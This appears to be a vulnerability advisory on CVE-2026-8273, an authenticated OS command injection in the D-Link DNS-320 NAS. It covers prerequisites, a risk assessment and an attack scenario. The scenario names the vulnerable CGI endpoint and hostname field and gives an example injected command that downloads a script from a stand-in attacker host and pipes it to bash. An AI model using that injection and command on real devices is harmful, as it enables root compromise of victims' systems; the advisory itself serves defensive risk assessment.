D-Link DNS-320 CVE-2026-8273

Authentication as a D-Link DNS-320 administrator (high privilege) is required; the attack cannot be performed by unauthenticated remote users. The vulnerable CGI functions (cgi_set_host, cgi_set_ntp, cgi_fan_control, cgi_merge_user) must be enabled in the web interface-they are enabled by default in firmware 2.06B01 and likely in other versions. No special device configuration or non-default feature enablement is documented as a prerequisite. The device must be accessible via HTTP/HTTPS on the network (default ports 80/443); if administrative access is blocked by firewall rules or the device is isolated, exploitation is prevented. The limiting factor is the requirement for valid administrative credentials-an attacker cannot execute commands without first compromising or obtaining the admin password.

Risk is MODERATE-TO-HIGH despite the 5.1 CVSS score due to conflicting signals. CVSS correctly penalizes this as PR:H (high privilege required), but several factors elevate real-world concern: (1) AV:N/AC:L indicates the attack surface is directly network-accessible and requires no special conditions-any authenticated admin can trigger it; (2) CWE-78 OS command injection is a high-impact flaw category often exploited for lateral movement or persistence post-breach; (3) DNS-320 is a small-office NAS device where admin credentials may be shared, weak, or compromised by supply-chain/firmware vulnerabilities; (4) No patch version is documented, suggesting the vendor has not released a fix; (5) lack of EPSS or KEV data means exploitation likelihood is unknown, but the simplicity of command injection (AC:L) and direct network access (AV:N) suggest it would be trivial to weaponize if admin access is obtained. LIMITATION: CVSS PR:H constraint is realistic for this appliance class-remote admin access is required-but defenders must assess whether that requirement is truly restrictive in their threat model (e.g., compromised admin account, shared credentials, insider threat). This is NOT a network-wide worm vector but IS a critical lateral-movement or persistence tool for an attacker who has already compromised administrative access.

An authenticated administrator (or attacker who has obtained admin credentials via phishing, password reuse, or firmware backdoor) connects to the DNS-320 web interface and submits a POST request to /cgi-bin/system_mgr.cgi with crafted parameters to cgi_set_host or another vulnerable function, injecting shell metacharacters (e.g., backticks or $() command substitution) into the hostname field. The server processes the input without sanitization, executing the injected OS command (e.g., wget http://attacker.com/backdoor.sh | bash) with root privileges, resulting in arbitrary code execution and potential device compromise or lateral movement into the network.